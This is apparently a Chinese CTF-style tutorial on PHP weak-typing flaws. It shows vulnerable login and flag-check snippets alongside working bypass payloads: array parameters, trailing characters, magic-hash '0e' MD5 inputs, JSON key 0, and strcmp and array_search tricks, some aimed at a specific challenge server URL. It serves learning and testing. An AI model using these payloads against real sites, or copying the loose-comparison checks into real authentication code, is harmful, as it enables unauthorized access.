PHP弱类型

0x01 什么是弱类型

强类型语言,当你定义一个变量是某个类型,如果不经过代码显式转换(强制转化)过,它就永远都是这个类型,如果把它当做其他类型来用,就会报错

弱类型语言,你想把这个变量当做什么类型来用,就当做什么类型来用,语言的解析器会自动(隐式)转换。

0x02 弱类型整数大小比较

1
2
3
4
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

is_numeric() 函数用于检测变量是否为数字或数字字符串。
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE(PHP 版本要求:PHP 4, PHP 5, PHP 7)

在这里先判断是不是数字。
然后再判断这个数字是不是大于1336。

可以用数组绕过、%00截断、添加其他字符
PHP数组有一个缺陷就是大多数的函数都没有办法去判断数组。

http://123.206.87.240:9009/22.php?password[]=1

http://123.206.87.240:9009/22.php?password=9999a

http://123.206.87.240:9009/22.php?password=9999%00

0x03 “==”和“===”

php中有两种比较的符号 == 与 ===

1
2
3
4
 <?php
$a = $b ;
$a===$b ;
?>

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

== 在进行比较的时候,会先将字符串类型转化成相同,再比较。
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

例子:

1
2
3
4
5
6
7
8
9
10
11
$a==$b;中
$a=' ';$b=null //true
$a=null;$b=true //true
$a=0;$b='0' //true
$a=0;$b='abcdef ' //true
($a===$b //false)
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true

“admin”==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果是0,和0相等

“1admin”==1 比较的时候会将1admin转化成数值,结果为1
“admin1“被转化为0。当一个字符串欸当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.’,’e’,’E’并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

“0e123456”==”0e456789”相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

0x04 md5绕过(Hash比较缺陷)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];

if (!ctype_alpha($Username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>

意思:输入Username(字符串型)和password(数字型),并且两者md5相等,即可成功。

做法:0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。md5(‘240610708’) == md5(‘QNKCDZO’)成功绕过
下列是md5开头是0e的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

240610708
0e462097431906509019562988736854

0x05 json绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>

输入一个json类型的字符串,json_decode函数解密成一个数组,判断数组中key的值是否等于 $key的值,但是$key的值我们不知道,但是可以利用0==”admin”这种形式绕过

最终payload: message={“key”:0}

0x06 strcmp漏洞绕过

strcmp是比较两个字符串,如果两者相等 返回0
str1小于str2,返回负数

1
2
3
4
5
6
7
8
9
10
11
<?php
$password="***************"
if(isset($_POST['password'])){

if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";n
exit();
} else {
echo "Wrong password..";
}
?>

要求我们post一个password值,要与给定的password变量的值相等。

password[]=xxx
可以绕过 。因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等。

0x07 “array_search”与is_array”绕过

is_array:判断传入的是不是一个数组,array_search(x,$数组):在数组中寻找与指定值(x)相等的值.

实例
在数组中搜索键值 “red”,并返回它的键名:

1
2
3
4
<?php
$a=array("a"=>"red","b"=>"green","c"=>"blue");
echo array_search("red",$a);
?>

array_search() 函数在数组中搜索某个键值,并返回对应的键名。
详细说明

array_search() 函数与 in_array() 一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回 false。

如果第三个参数 strict 被指定为 true,则只有在数据类型和值都一致时才返回相应元素的键名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>

array_search函数 类似于== 也就是$a==”admin” 当然是$a=0 当然如果第三个参数为true则就不能绕过

先判断传入的是不是数组,然后循环遍历数组中的每个值,并且数组中的每个值不能和admin相等,并且将每个值转化为int类型,再判断传入的数组是否有admin,有则返回flag

payload: test[]=0可以绕过

-------------本文结束感谢您的阅读-------------
/*
*/